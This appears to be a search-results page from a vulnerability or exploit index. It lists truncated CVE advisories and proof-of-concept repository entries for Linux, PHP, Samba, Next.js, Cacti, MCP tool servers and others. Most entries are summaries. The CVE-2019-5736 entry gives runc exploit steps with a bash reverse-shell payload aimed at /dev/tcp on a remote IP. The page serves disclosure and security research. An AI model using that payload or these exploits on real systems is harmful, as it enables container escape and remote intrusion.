1283526 matches found
CVE-2026-98856
A flaw was found in the Linux kernel's kernel probes kprobes tracing subsystem. When arming an optimized probe near an inactive probe, the overlap detection check fails to identify an active jump instruction. A privileged local user can exploit this issue by registering specific overlapping...
php: fatal error handling retains stale request state leading to use-after-free
A flaw was found in PHP's error handling and worker process state management. PHP contains error handling, object, and extension state that is retained by the process but points to memory owned by a single request. A fatal error can interrupt an operation or cleanup phase before that state is...
CVE-2025-22604-Cacti-RCE
CVE-2025-22604-Cacti-RCE...
CVE-2025-66478-Exploit-PoC
CVE-2025-66478 Exploit PoC This repository contains proof-of-concept PoC code for reproducing and researching the Next.js CVE-2025-66478 vulnerability. It includes a vulnerable Next.js application and a Node.js exploit script for testing the vulnerability. English Β· δΈζ What is CVE-2025-66478? Thi...
CVE-2023-44760_ConcreteCMS-Stored-XSS---TrackingCodes
ConcreteCMS Stored XSS v.9.2.1 Author: Sergio Description: Multiple Cross Site Scripting vulnerability in ConcreteCMS v.9.2.1 allows a local attacker to execute arbitrary code via a crafted script to the Header and Footer Tracking Codes of the SEO & Statistics. Attack Vectors: Scripting A...
CVE-2026-4480-POC
CVE-2026-4480 - Samba Printing Subsystem Remote Code Execution Overview Proof-of-concept and research material related to CVE-2026-4480 , a critical Remote Code Execution RCE vulnerability affecting the Samba printing subsystem. The vulnerability is caused by improper handling of user-controlled...
CVE-2023-26262
Sitecore 10.3 Authenticated file upload vulnerability Author: Thomas Stern Date: 26/01-2023 Summary It is possible via the import languages functionality to upload and arbitrary file. This file could be a webshell that would allow for execution of code on the server. Step to reproduce For testing...
CVE-2024-4577
PHP-CGI Windows Platform Remote Code Execution Vulnerability CVE-2024-4577 Introduction PHP is an acronym for Hypertext Preprocessor. It is now a widely used open-source scripting language that is particularly suitable for web development and embedding in HTML, and is very simple to use. CGI, whi...
CVE-2026-46652
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, ExternalFilesDownloader.getFilename extracts the destination filename from a server-supplied Content-Disposition response header and passes it directl...
CVE-2026-106764
An issue in @rog0x/mcp-git-tools 1.0.1 allows a remote attacker to execute arbitrary code via the resolveBaseBranch function...
CVE-2026-106765
An issue in @rog0x/mcp-docker-tools 1.0.1 allows a remote attacker to execute arbitrary code via the handleImageList function...
CVE-2026-106763
An issue in @justice8096/sagemath-mcp-server 1.0.1 allows a remote attacker to execute arbitrary code via the escapeShellString and sanitizeCode functions...
go-get-rce
This repository does not have a README...
CVE-2021-26855-CVE-2021-27065
CVE-2021-26855-CVE-2021-27065 analytics ProxyLogo Mail exchange RCE...
CVE-2026-86950
π‘οΈ CVE-2026-86950 β CoreGraphics Security Research π¬ Defensive Security Research β’ Vulnerability Analysis β’ Detection π Overview CVE-2026-86950 is a high-severity vulnerability affecting Apple's CoreGraphics component. The vulnerability is classified as an out-of-bounds write CWE-787 and can...
EUVD-2026-109092
Hugging Face Datasets through 5.1.0 contains an insecure deserialization vulnerability that allows attackers to execute arbitrary Python code by crafting a malicious pickle file loaded through the deprecated pandas packaged builder. Attackers can supply a pickle-backed dataset that is processed b...
Apache-OFBiz-Directory-Traversal-exploit
Apache-OFBiz-Directory-Traversal-exploit A vulnerability classified as critical, has been found in Apache OFBiz up to 18.12.12. Affected by this issue is an unknown functionality. The manipulation with an unknown input leads to a path traversal vulnerability. The product uses external input to...
CVE-2024-34832
CubeCart - Directory Traversal May Lead To RCE CVE-2024-34832 TL;DR In the admin panel, parameters such as g and node are used to construct the path to include .inc.php files and execute PHP code. A malicious user with the ability to upload .inc.php files anywhere on the server can exploit a path...
CVE-2021-43936
CVE-2021-43936 CVE-2021-43936 is a critical vulnerability CVSS3 10.0 leading to Remote Code Execution RCE in WebHMI Firmware. This vulnerability works on versions 4.0 and the newest ones. Tested only on 4.0.7475. Vulnerability is used by script in the following steps: 1. Logs into the application...
CVE-2019-5736
π₯οΈ -h3x0v3rl0rd- οΈβ£ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run: go build main.go Host a...